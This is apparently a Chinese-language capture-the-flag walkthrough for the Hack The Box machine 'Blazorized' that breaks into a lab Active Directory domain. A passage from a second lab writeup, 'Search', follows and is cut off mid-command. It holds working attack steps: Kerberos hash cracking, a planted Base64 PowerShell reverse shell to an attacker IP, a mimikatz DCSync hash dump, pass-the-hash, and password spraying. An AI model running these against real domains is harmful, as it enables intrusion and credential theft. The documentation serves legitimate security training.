$krb5tgs$23$*RSA_4810$blazorized.htb$nonexistent/BLAHBLAH*$74DDA53EA6707B9D1A1B09E1E7E3FA45$A2ED548F18ADB62F2BB5F84885D720890B824FFE7E170F8062BE3F5B0BFEE45C4E12F783DDE1F421F89DBC13A60434BC19954F77B298F7FE96D5B9AEEFFBEF7909D62073D17B07E89CE15F18ABCB4E720EF273B4E3029BFEA44EC7C166A5141B0FF2CAE155E1A1EF2BCE9B5EC1B1F8EC7F3D96054AF4AB214D3F81BB5A2B4F739BFF55BE8FEB032BE670A58B9876C665B42DA73F7162945C6AEBB95182AE8E717BA9365A838FD0139B217A5929742DA31E0273CDD1F6EBC1BE882B37F69301C9643D05AB704BB5EB066B88DB9AA9F15CE530481BCA0C1E8CF709F1FE53075D92099076C53F1A42A0749F181F765FDC891AAF8DBE8AED78728926EB1B6BE9B270CF9A0E57B68AAA267317267A2E06CE11B3A827808CD8E859B1A1238FA8473719ECE839885CE945E5CDABB062C25D99E568C3C0464C0D0970B091EB8D82B4B7C32AEFABFF5B89FE942A593C05081B9661B991E3B985C73455CBAA3767A80AB8313BB9EACD99CA2E7DCB99107E6A802A46B4EA84974760CBA838B23B37F0D5DC32618D2350AC283D01EBD1FC5D3DB73BB096284F2DA4FCA239FC3F5A5BAA71DF73F8080089BB7D5A9D74DBDCD74756EFCAA5B2977A39B7075F5CC76F211CA3F8E6297F74E6FD1E33A10A6F2CAF4DDA9504946773FD8E6DE3F8AA2569BAE8CD86A6BE80A910645D0AD7269E47F0443767EF10C703E4BBF0D5DE6609B126696D43A5A9C971547D534B0777635197E65651F6792A6FEA872B813FF69F368B61DE625FE79825CCA25EAD4034C1E3CFCA9C25D4D65F6D84C0B4323FDB1076041FCAD00C5FF6F605054457376CB478A602F266D55D97604E5CE1EDBE70813E5B824A1E36905DA803B3F03DE814D08E50D85CF34E328DD4EE4CA74755B4571BA234A6DBFB88D6172E357E4C87AF1F50AAB44B16B8B64C88661FEEBA179C8EBA496C4984BD01E08CCD3276AF8E58F1C45173F882E20BB16951D8CF874CAD325ACEC82C82A761DC4CE63E90108EF924C501E373B41F2859F554CFE7FFE84C8EF45FC466F57A65D66016A2F602AF630D74FE3E7128B010ECA1181266C4DE8E753D5356E6E04D058AE2CDD1D6F68C3C81EF2F87EC016039397ADFDC7E820638BFDDB80FE93C2FCC3680DF0A7C05AF0526F0F6AAA18DAC6473F7710408E8D024CEB9980FC4A1033D6BFFDCEA4A7935C0AC7FF2BFC42707AF7364A84B96405081E2EAA808B85BC04C2C46468722F14ED5A90CA6A0163CA48E088418FD21C26608237976D1B93EC1FD78A1AA06FE07E272E46BB1F05C0D4EF46EE962EABF8FC40DA75FEAEBC1D40C87EED6D9CBFF593EA5CAC2B4104199F3B5D984510F49C80BF3A44E685E23C0718295A4C626DAF4EC987DF587BFCD9A7235036E178CDAF6E812CA62EC6E4D20F40196637EA8074E3A6733369C010B6878B52E87D49014EB7A0B8AE02B464FD7841B2D16F5009930C38EEB93772171CC2036C42781CE1AAEE025F4D8249753A44EFF0C689BE501D4D7D6E3850C5E5A0CD555824F31B5428D7A55D94FF8609143C5B8D32C3151FFDDC8368A7AC7D2E5DABBB15574726DA53EA085BBEF8DC8EBC836C27A94EB938378D7928B9E9AC2C35663A931775B24D0ADD08C1E76A722D0DF081575BE4552E90337D0B0830654579BDDA6FDAD3224BF2BC1A8FABDADB8A9E4CCE353448F8382D10FCC33E0B79156E85AF1A637E48018D805D4A4729BA666DBA43DD62FAC1623A0BA712F58BB9946171A4957B48DE631272CB502E4D679AD21D3EFD229171971EA31
```

#### 破解hash

``` bash
hashcat.exe rsa_4810.hash rockyou.txt
```

得到密码: (Ni7856Do9854Ki05Ng0005 #)

#### shell
#### 验证密码

``` bash
root@kali:~/hackthebox/machine/blazorized # netexec smb blazorized.htb -u rsa_4810 -p '(Ni7856Do9854Ki05Ng0005 #)'
SMB         10.10.11.22     445    DC1              [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC1) (domain:blazorized.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.22     445    DC1              [+] blazorized.htb\rsa_4810:(Ni7856Do9854Ki05Ng0005 #)
root@kali:~/hackthebox/machine/blazorized # netexec winrm blazorized.htb -u rsa_4810 -p '(Ni7856Do9854Ki05Ng0005 #)'
WINRM       10.10.11.22     5985   DC1              [*] Windows 10 / Server 2019 Build 17763 (name:DC1) (domain:blazorized.htb)
WINRM       10.10.11.22     5985   DC1              [+] blazorized.htb\rsa_4810:(Ni7856Do9854Ki05Ng0005 #) (Pwn3d!)
```

可以看到rsa_4810在"Remote Management Users"组中。

``` bash
PS C:\programdata> net user rsa_4810
User name                    RSA_4810
Full Name                    RSA_4810
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/25/2024 11:55:59 AM
Password expires             Never
Password changeable          2/26/2024 11:55:59 AM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   2/2/2024 11:44:30 AM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Remote_Support_Admini
The command completed successfully.
```

#### Evil-WinRM

``` bash
kali :: hackthebox/machine/blazorized » evil-winrm -i blazorized.htb -u rsa_4810 -p '(Ni7856Do9854Ki05Ng0005 #)'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\RSA_4810\Documents> whoami
blazorized\rsa_4810
```

#### Shell as SSA_6010
#### Groups

rsa_4810是唯一组Remote_Support_Administrators的成员。

``` bash
*Evil-WinRM* PS C:\Users\RSA_4810\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                           Attributes
=========================================== ================ ============================================= ==================================================
Everyone                                    Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
BLAZORIZED\Remote_Support_Administrators    Group            S-1-5-21-2039403211-964143010-2924010611-1115 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448
```

#### 可写目录

Sysinternals中的[accesschk](https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk)是检查可写目录的好方法。检查C:\Windows中的任何一个，它找到了一堆：

``` bash
*Evil-WinRM* PS C:\programdata> .\accesschk64 /accepteula -uwds blazorized\rsa_4810 C:\Windows

Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

RW C:\Windows\Tasks
RW C:\Windows\tracing
RW C:\Windows\Registration\CRMLog
 W C:\Windows\System32\Tasks
RW C:\Windows\System32\spool\drivers\color
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23\113EB3B0B2D3\0EEB3FED3C10\AEE0FC3CA30F
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23\113EB3B0B2D3\0EEB3FED3C10\BA3A12ADA1BB
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23\113EB3B0B2D3\0EEB3FED3C10\BBD0B0FAFDAF
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23\113EB3B0B2D3\0EEB3FED3C10\BEC23D3B2F2A
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23\113EB3B0B2D3\0EEB3FED3C10\C10CDDE211FE
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23\113EB3B0B2D3\0EEB3FED3C10\C2FE12102303
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23\113EB3B0B2D3\0EEB3FED3C10\DE3FC3AD20F0
RW C:\Windows\SYSVOL\domain\scripts\A32FF3AEAA23\113EB3B0B2D3\0EEB3FED3C10\EA1EBECD3ADA
...[snip]...
```

有大量的输出，但重要的是rsa_4810似乎完全控制了这两个目录：

``` bash
*Evil-WinRM* PS C:\> icacls \Windows\SYSVOL\domain\scripts\A32FF3AEAA23
\Windows\SYSVOL\domain\scripts\A32FF3AEAA23 BLAZORIZED\RSA_4810:(OI)(CI)(F)
                                            BLAZORIZED\Administrator:(OI)(CI)(F)
                                            BUILTIN\Administrators:(I)(F)
                                            CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                            NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
                                            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                                            BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                            BUILTIN\Server Operators:(I)(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\> icacls \Windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23
\Windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23 BLAZORIZED\RSA_4810:(OI)(CI)(F)
BLAZORIZED\Administrator:(OI)(CI)(F)
                                                           BUILTIN\Administrators:(I)(F)
                                                           CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                                           NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
                                                           NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                                                           BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                                           BUILTIN\Server Operators:(I)(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files
```

这些目录通常用于存储应用于域中的用户和计算机的登录、注销、启动和关闭脚本。

#### Users

剩下的拥有主目录的用户只有ssa_6010和administrator。更仔细地看，看到Bloodhound报告ssa_6010在DC1上有一个会话：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Blazorized8.png)

最后一次登录时间也是今天，在bloodhound的几分钟内：

``` bash
*Evil-WinRM* PS C:\Users\RSA_4810\Documents> [DateTime]::FromFileTime((Get-ADUser SSA_6010 -properties LastLogon).LastLogon)

Saturday, November 9, 2024 1:08:17 PM


*Evil-WinRM* PS C:\Users\RSA_4810\Documents> date

Saturday, November 9, 2024 1:08:48 PM
```

ssa_6010似乎每分钟都会登录一次。

#### Logon Script

SSA_6010用户在其活动目录配置信息中没有设置任何登录脚本：

``` bash
*Evil-WinRM* PS C:\Users\RSA_4810\Documents> Get-ADUser SSA_6010 -properties ScriptPath


DistinguishedName : CN=SSA_6010,CN=Users,DC=blazorized,DC=htb
Enabled           : True
GivenName         :
Name              : SSA_6010
ObjectClass       : user
ObjectGUID        : 8bf3166b-e716-4f91-946c-174e1fb433ed
SamAccountName    : SSA_6010
ScriptPath        :
SID               : S-1-5-21-2039403211-964143010-2924010611-1124
Surname           :
UserPrincipalName : SSA_6010@blazorized.htb
```

然而，RSA_4810能够设置一个：

``` bash
Evil-WinRM* PS C:\Users\RSA_4810\Documents> Get-ADUser SSA_6010 | Set-ADUser -ScriptPath fdluci
*Evil-WinRM* PS C:\Users\RSA_4810\Documents> Get-ADUser SSA_6010 -properties ScriptPath


DistinguishedName : CN=SSA_6010,CN=Users,DC=blazorized,DC=htb
Enabled           : True
GivenName         :
Name              : SSA_6010
ObjectClass       : user
ObjectGUID        : 8bf3166b-e716-4f91-946c-174e1fb433ed
SamAccountName    : SSA_6010
ScriptPath        : fdluci
SID               : S-1-5-21-2039403211-964143010-2924010611-1124
Surname           :
UserPrincipalName : SSA_6010@blazorized.htb
```

在枚举时查找此内容的另一种方法是使用[PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)中的Find-InterestingDomainAcl命令。如果运行它并过滤来自RSA_4810的，看到这个用户对SSA_6010的Script-Path有WriteProperty访问权限：

``` bash
*Evil-WinRM* PS C:\programdata> Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RSA_4810"}


ObjectDN                : CN=SSA_6010,CN=Users,DC=blazorized,DC=htb
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : WriteProperty
ObjectAceType           : Script-Path
AceFlags                : None
AceType                 : AccessAllowedObject
InheritanceFlags        : None
SecurityIdentifier      : S-1-5-21-2039403211-964143010-2924010611-1107
IdentityReferenceName   : RSA_4810
IdentityReferenceDomain : blazorized.htb
IdentityReferenceDN     : CN=RSA_4810,CN=Users,DC=blazorized,DC=htb
IdentityReferenceClass  : user
```

#### Execution
#### Strategy

登录脚本是相对于上面的脚本目录指定的。把该路径设置为A32FF3AEAA23\fdluci.bat，然后将该脚本作为reverse shell写入到位。当SSA_6010登录时，它将执行，获得一个shell。

#### Payload

从revshells.com上抓取一个PowerShell #3（Base64）reverse shell，并使用Out-File将其写入.bat文件：

``` bash
*Evil-WinRM* PS C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23> echo "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAA3ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" | Out-File -FilePath fdluci.bat -Encoding ASCII
```

有一个清理脚本可以删除这些文件，所以需要快速移动。

#### Exploit

设置SSA_6010的ScriptPath：

``` bash
*Evil-WinRM* PS C:\> Get-ADUser SSA_6010 | Set-ADUser -ScriptPath 'A32FF3AEAA23\fdluci.bat'
```

很快返回了一个shell

``` bash
root@kali:~/hackthebox/machine/blazorized # rlwrap -cAr nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.87] from (UNKNOWN) [10.10.11.22] 64598
PS C:\Windows\system32> whoami
blazorized\ssa_6010
```

#### Shell as administrator
#### Enumeration

SSA_6010是Super_Support_Administrators组的成员，该组在域上具有重要的权限：

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Blazorized9.png)


#### Hash Dump

使用DCSync权限，SSA_6010可以dump域的所有hash。在此之前，已经通过主机的secrets-dump（最近一次是在[Mist](https://0xdf.gitlab.io/2024/10/26/htb-mist.html#secretsdump)上）多次展示了这一点。但在这个例子中，没有想要dump的用户的creds。用[MimiKatz](https://github.com/gentilkiwi/mimikatz)。

把它上传到\programdata（使用Evil-WinRM shell，但Python web也可以）。当以.\mimikatz.exe运行时，它是一个交互式工具，在这个reverse shell中，它只会挂起和/或失败。但是可以在命令行以mimikatz.exe "[command]" "[command]" exit格式传递命令。

需要的mimikatz命令是：lsadump::dcsync /user:administrator：

``` bash
PS C:\programdata> .\mimikatz "lsadump::dcsync /user:administrator" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::dcsync /user:administrator
[DC] 'blazorized.htb' will be the domain
[DC] 'DC1.blazorized.htb' will be the DC server
[DC] 'administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/25/2024 11:54:43 AM
Object Security ID   : S-1-5-21-2039403211-964143010-2924010611-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: f55ed1465179ba374ec1cad05b34a5f3
    ntlm- 0: f55ed1465179ba374ec1cad05b34a5f3
    ntlm- 1: eecc741ecf81836dcd6128f5c93313f2
    ntlm- 2: c543bf260df887c25dd5fbacff7dcfb3
    ntlm- 3: c6e7b0a59bf74718bce79c23708a24ff
    ntlm- 4: fe57c7727f7c2549dd886159dff0d88a
    ntlm- 5: b471c416c10615448c82a2cbb731efcb
    ntlm- 6: b471c416c10615448c82a2cbb731efcb
    ntlm- 7: aec132eaeee536a173e40572e8aad961
    ntlm- 8: f83afb01d9b44ab9842d9c70d8d2440a
    ntlm- 9: bdaffbfe64f1fc646a3353be1c2c3c99
    lm  - 0: ad37753b9f78b6b98ec3bb65e5995c73
    lm  - 1: c449777ea9b0cd7e6b96dd8c780c98f0
    lm  - 2: ebbe34c80ab8762fa51e04bc1cd0e426
    lm  - 3: 471ac07583666ccff8700529021e4c9f
    lm  - 4: ab4d5d93532cf6ad37a3f0247db1162f
    lm  - 5: ece3bdafb6211176312c1db3d723ede8
    lm  - 6: 1ccc6a1cd3c3e26da901a8946e79a3a5
    lm  - 7: 8b3c1950099a9d59693858c00f43edaf
    lm  - 8: a14ac624559928405ef99077ecb497ba

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 36ff197ab8f852956e4dcbbe85e38e17

* Primary:Kerberos-Newer-Keys *
    Default Salt : BLAZORIZED.HTBAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 29e501350722983735f9f22ab55139442ac5298c3bf1755061f72ef5f1391e5c
      aes128_hmac       (4096) : df4dbea7fcf2ef56722a6741439a9f81
      des_cbc_md5       (4096) : 310e2a0438583dce
    OldCredentials
      aes256_hmac       (4096) : eeb59c1fa73f43372f40f4b0c9261f30ce68e6cf0009560f7744d8871058af2c
      aes128_hmac       (4096) : db4d9e0e5cd7022242f3e03642c135a6
      des_cbc_md5       (4096) : 1c67ef730261a198
    OlderCredentials
      aes256_hmac       (4096) : bb7fcd1148a3863c9122784becf13ff7b412af7d734162ed3cb050375b1a332c
      aes128_hmac       (4096) : 2d9925ef94916523b24e43d1cb8396ee
      des_cbc_md5       (4096) : 9b01158c8923ce68

* Primary:Kerberos *
    Default Salt : BLAZORIZED.HTBAdministrator
    Credentials
      des_cbc_md5       : 310e2a0438583dce
    OldCredentials
      des_cbc_md5       : 1c67ef730261a198

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  7e35fe37aac9f26cecc30390171b6dcf
    02  a8710c4caaab28c0f2260e7c7bd3b262
    03  81eae4cf7d9dadff2073fbf2d5c60539
    04  7e35fe37aac9f26cecc30390171b6dcf
    05  9bc0a87fd20d42df13180a506db93bb8
    06  26d42d164b0b82e89cf335e8e489bbaa
    07  d67d01da1b2beed8718bb6785a7a4d16
    08  7f54f57e971bcb257fc44a3cd88bc0e3
    09  b3d2ebd83e450c6b0709d11d2d8f6aa8
    10  1957f9211e71d307b388d850bdb4223f
    11  2fa495bdf9572e0d1ebb98bb6e268b01
    12  7f54f57e971bcb257fc44a3cd88bc0e3
    13  de0bba1f8bb5b81e634fbaa101dd8094
    14  2d34f278e9d98e355b54bbd83c585cb5
    15  06b7844e04f68620506ca4d88e51705d
    16  97f5ceadabcfdfcc019dc6159f38f59e
    17  ed981c950601faada0a7ce1d659eba95
    18  cc3d2783c1321d9d2d9b9b7170784283
    19  0926e682c1f46c007ba7072444a400d7
    20  1c3cec6d41ec4ced43bbb8177ad6e272
    21  30dcd2ebb2eda8ae4bb2344a732b88f9
    22  b86556a7e9baffb7faad9a153d1943c2
    23  c6e4401e50b8b15841988e4314fbcda2
    24  d64d0323ce75a4f3dcf0b77197009396
    25  4274d190e7bc915d4047d1a63776bc6c
    26  a04215f3ea1d2839a3cdca4ae01e2703
    27  fff4b2817f8298f09fd45c3be4568ab1
    28  2ea3a6b979470233687bd913a8234fc7
    29  73d831d131d5e67459a3949ec0733723


mimikatz(commandline) # exit
Bye!
```

给出了管理员帐户的NTLM hash

#### shell

``` bash
root@kali:~/hackthebox/machine/blazorized # evil-winrm -i blazorized.htb -u administrator -H f55ed1465179ba374ec1cad05b34a5f3                                         1 ↵

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
blazorized\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ..\Desktop\root.txt
e77a62dcd68cd96f3b8714bff9587978
```

<!-- kb:end blazorized -->

</details>

<a id="case-search"></a>

## 表格与证书中的身份材料

Web 资料、Kerberos 服务、受保护 XLS 和证书容器共同连接到 gMSA 读取权限。原链保留表格解除保护、p12tool 与目录属性的使用。

<p class="kb-provenance">来源 search · 原记录 2022-01-08 · 26 个代码块 · 11 处图片引用</p>

<details class="kb-evidence" id="record-search">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start search -->

#### introduce

OS: Windows
Difficulty: Hard
Points:	40
Release:	18 Dec 2021
IP:	10.10.11.129

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/search1.png)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# nmap -sV -v -p- --min-rate=10000 10.10.11.129
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
80/tcp    open  http              Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2022-01-07 16:21:36Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http          Microsoft IIS httpd 10.0
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap          Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
8172/tcp  open  ssl/http          Microsoft IIS httpd 10.0
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49669/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc             Microsoft Windows RPC
49691/tcp open  unknown
49704/tcp open  msrpc             Microsoft Windows RPC
49725/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Nmap reveals a lot of open ports, most of them are Windows based ports. Add the domain to hosts file. Let's look into web first.

Nothing much available on the web other than team members name. Let's add these name to a file and enumerate valid usernames.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# /root/kerbrute-master/kerbrute userenum user.txt -d search.htb --dc search.htb 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 01/07/22 - Ronnie Flathers @ropnop

2022/01/07 11:31:26 >  Using KDC(s):
2022/01/07 11:31:26 >   search.htb:88

2022/01/07 11:31:26 >  [+] VALID USERNAME:       Dax.Santiago@search.htb
2022/01/07 11:31:26 >  [+] VALID USERNAME:       Keely.Lyons@search.htb
2022/01/07 11:31:26 >  [+] VALID USERNAME:       Sierra.Frye@search.htb
2022/01/07 11:31:26 >  Done! Tested 8 usernames (3 valid) in 0.235 seconds
```

Out of eight users only three are valid. Let's Try to query the domain for users with 'Do not require Kerberos pre-authentication' set and export their TGTs for cracking.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# GetNPUsers.py search.htb/ -usersfile user.txt
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[-] User Keely.Lyons@search.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Dax.Santiago@search.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Sierra.Frye@search.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
```

These accounts have not set to 'Do not require pre-auth'. This means, we can't perform Kerberoasting attack, it requires a user with Pre-Authentication enabled. We can't dump LDAP without a valid password of a user. There's no any interesting directory's to look into. However, there's a image which has interesting information.

``` bash
http://search.htb/images/slide_2.jpg
```

If we look at the August 17 date, it says 'Send password to Hope Sharp' and password is mentioned IsolationIsKey? We have username and password of Hope user. We can perform password spaying on recently found accounts too.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# crackmapexec smb search.htb -u user.txt -p 'IsolationIsKey?' --shares
SMB         10.10.11.129    445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Keely.Lyons@search.htb:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Dax.Santiago@search.htb:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Sierra.Frye@search.htb:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Kyla.Stewart@search.htb:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Kaiara.Spencer@search.htb:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Dave.Simpson@search.htb:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Ben.Thompson@search.htb:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Chris.Stewart@search.htb:IsolationIsKey? STATUS_LOGON_FAILURE
```

As you can see, this password is not valid for any of the user which we found recently. Let's try this password with Hope user.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/search]
└─# crackmapexec smb search.htb -u Hope.Sharp -p 'IsolationIsKey?' --shares
